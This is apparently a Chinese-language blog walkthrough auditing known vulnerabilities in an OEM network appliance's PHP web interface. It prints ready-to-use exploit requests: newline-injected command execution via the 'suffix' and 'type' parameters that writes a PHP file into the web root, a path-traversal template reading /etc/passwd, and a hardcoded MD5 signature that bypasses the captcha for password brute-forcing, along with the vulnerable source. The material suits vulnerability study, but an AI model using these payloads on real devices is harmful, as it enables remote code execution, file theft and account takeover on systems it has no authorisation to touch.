比较老的洞了,最近看到有人交了rce,正好学习下,应该是多家oem的产品
命令执行1
先看 poc
1
|
/webui/?g=aaa_portal_auth_local_submit&suffix=%0aecho%20%27%3C%3Fphp%20echo%20%22test%20-%20Open%20source%20project%20%28github.com%2Ftest%2Ftest%29%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2F111111112.php&bkg_flag=0
|
全局搜索 aaa_portal_auth_local_submit
看下是哪里的问题
定位到 webui/modules/aaa/portal_auth.mds
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
|
//----------------------------------------------------------------------------------本地认证-----------------------------------
if($get_url_param == "aaa_portal_auth_local_submit"){
$suffix = $_GET['suffix'];
$config = file_get_contents($portal_catalog."/config.txt");
$config_arr = json_decode($config,true);
$tab_name = $_GET['tab_name'];
$welcome_word = $_GET['welcome_word'];
$btn_color = $_GET['btn_color'];
//基本配置
$baseFlag = $_GET['baseFlag'];
if(gettype($baseFlag) != 'undefined' && $baseFlag == 1){
$config_arr = save_config('local',$config_arr,$tab_name,$welcome_word,$btn_color,'','');
$new_config = json_encode($config_arr);
file_put_contents($portal_catalog."/config.txt",$new_config);
//file_put_contents("/mnt/copyconfig.txt", $new_config);//添加一个备份文件,然后将备份文件copy到系统内的文件即可
backupAuthFile('local');
echo '{"success":"local_base"}';
return;
}
//logo
if($_GET['bkg_flag'] == 0){
if($_FILES['local_logo_file']['error'] == UPLOAD_ERR_OK){
$tmp_name = $portal_catalog.'/local/images/localLogo_tmp'.$suffix;
$final_name = $portal_catalog.'/local/images/localLogo'.$suffix;
$type = 'local_logo_file';
if(!checkFileSize($type,$tmp_name,$final_name,$uploadFileSize)){
return;
}
}
$config_arr = save_config('local',$config_arr,$tab_name,$welcome_word,$btn_color,'','');
$config_arr[local][local_logo_pic] = $_FILES['local_logo_file']['name'];
$new_config = json_encode($config_arr);
file_put_contents($portal_catalog."/config.txt",$new_config);
//file_put_contents("/mnt/copyconfig.txt", $new_config);//添加一个备份文件,然后将备份文件copy到系统内的文件即可
backupAuthFile('local');
echo '{"success":"local_logo"}';
return;
}else{ //bkg
//如果tab_name不为空,表示此时需同步修改tab_name等内容
if($tab_name){
$config_arr = save_config('local',$config_arr,$tab_name,$welcome_word,$btn_color,'','');
}
if($_FILES['local_bkg_file']['error'] == UPLOAD_ERR_OK){
$tmp_name = $portal_catalog.'/local/images/localBkg_tmp'.$suffix;
$final_name = $portal_catalog.'/local/images/localBkg'.$suffix;
$type = 'local_bkg_file';
if(!checkFileSize($type,$tmp_name,$final_name,$uploadFileSize)){
return;
}
}
$config_arr[local][local_bkg_pic] = $_FILES['local_bkg_file']['name'];
$new_config = json_encode($config_arr);
file_put_contents($portal_catalog."/config.txt",$new_config);
//file_put_contents("/mnt/copyconfig.txt", $new_config);//添加一个备份文件,然后将备份文件copy到系统内的文件即可
backupAuthFile('local');
echo '{"success":"local_bkg"}';
return;
}
}
|
看下 suffix 参数被传入到了哪里,为什么会触发命令执行
suffix 先后被赋值给了 tmp_name
,final_name
, 然后这2个参数被传给了 checkFileSize
函数
看下 checkFileSize
函数
1
2
3
4
5
6
7
8
9
10
11
12
|
function checkFileSize($type,$tmp_name,$final_name,$uploadFileSize){
move_uploaded_file($_FILES[$type]['tmp_name'],$tmp_name);
if(filesize($tmp_name) - $uploadFileSize > 0){
exec('rm '.$tmp_name);
echo '{"warning":"图片大小超过限制","type":"'.$type.'"}';
return false;
}else{
exec('mv '.$tmp_name.' '.$final_name);
return true;
}
}
|
很好,看来是危险函数exec执行了我们的命令
这里poc的suffix值是
1
2
3
4
|
换行符
echo 'test2' >> /tmp/success2
%0Aecho%20%27test2%27%20%3E%3E%20%2Ftmp%2Fsuccess2
|
我试了下,用这个也行
1
2
3
|
/tmp/ttt || echo 'test3' >> /tmp/success3
%2Ftmp%2Fttt%20%7C%7C%20echo%20%27test3%27%20%3E%3E%20%2Ftmp%2Fsuccess3
|
不过可以看到是有换行符的效果更好
命令执行2
先看poc
1
|
/webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22test%20-%20Open%20source%20project%20%28github.com%2Ftest%2Ftest%29%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2F111111111.php%0a
|
全局搜索 aaa_portal_auth_local_submit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
if($get_url_param == "aaa_portal_auth_config_reset"){
$type = $_GET['type'];
$logo_type = $type.'_logo_pic';
$bkg_type = $type.'_bkg_pic';
$config = file_get_contents($portal_catalog."/config.txt");
$config_arr = json_decode($config,true);
$config_dft = file_get_contents($portal_catalog."/default_config.txt");
$config_dft_arr = json_decode($config_dft,true);
if($type == 'adv'){
$config_arr[diff] = $config_dft_arr[diff];
}
$config_arr[$type] = $config_dft_arr[$type];
//删除图片
exec('rm '.$portal_catalog.'/'.$type.'/images/'.$type.'*');
$new_config = json_encode($config_arr);
file_put_contents($portal_catalog."/config.txt",$new_config);
backupAuthFile($type);
echo '{"reset":"'.$type.'"}';
}
|
明晃晃的 exec ,有点过分的
任意文件读取
先看poc
1
2
3
4
5
6
7
|
requests:
- method: GET
path:
- "{{BaseURL}}/webui/?g=sys_dia_data_down&file_name=../etc/passwd"
- "{{BaseURL}}/webui/?g=sys_dia_data_check&file_name=../../../../../../../../etc/passwd"
- "{{BaseURL}}/webui/?g=sys_capture_file_download&name=../../../../../../../../etc/passwd"
- "{{BaseURL}}/webui/?g=sys_corefile_sysinfo_download&name=../../../../../../../../etc/passwd"
|
先全局搜下 sys_dia_data_down
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
if( $get_url_param == 'sys_dia_data_down'){
// if($_POST['file_name']!=null) $param['file_name'] = formatpost($_POST['file_name']);
$fname = "/mnt/".$_GET['file_name'];
$data = file_get_contents($fname);
Header("Pragma: public");
Header("Cache-Control: private");
Header("Content-type: text/plain");
Header("Accept-Ranges: bytes");
Header("Content-Length: " . strlen($data));
Header("Content-Disposition: attachment; filename=".$_GET['file_name'] );
ob_clean();
echo $data;
exit();
}
|
可以看到 file_name 参数没有被过滤直接被 file_get_contents 函数所读取了,导致的任意文件读取
不过 file_get_contents 函数可以造成ssrf,这里由于前面拼接了 /mnt/ ,所以不好进行ssrf
绕过验证码爆破
先看poc
1
|
/remote_auth.php?user=admin&pwd=admin&sign=ba84d9dd91eb304aca57f0a8f052623e
|
这个sign从哪来,其实就硬编码在 /usr/local/webui/remote_auth.php
中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
if($_GET['user']!=null) $usr = formatget($_GET['user']);
if($_GET['pwd']!=null) $pwd = formatget($_GET['pwd']);
if($_GET['sign']!=null) $sign = formatget($_GET['sign']);
$key= 'saplingos!@#$%^&*';//这个key你们协商后保存一致即可
//ba84d9dd91eb304aca57f0a8f052623e
if(empty($usr)){
die('user_null');
}
else if(empty($pwd)){
die('pwd_null');
}
else if (!$sign){
die('sign_null');
}
else if ($sign != md5($key)){
die('sign_error');
}
else{
if (isset($usr, $pwd)) {
LoginHandler::login($usr, $pwd, $num,'',$remote_auth = true);
}
$fail_msg = '';
if (LoginHandler::isLoginFail()) {
$fail_msg = $_SESSION[ERROR_STR];
if (strlen($fail_msg) <= 0) {
$fail_msg = LocalUtil::getCommonResource('login_failed');
}
die($fail_msg);
}
}
|
我们可以通过任意文件读取漏洞读取key,然后进行爆破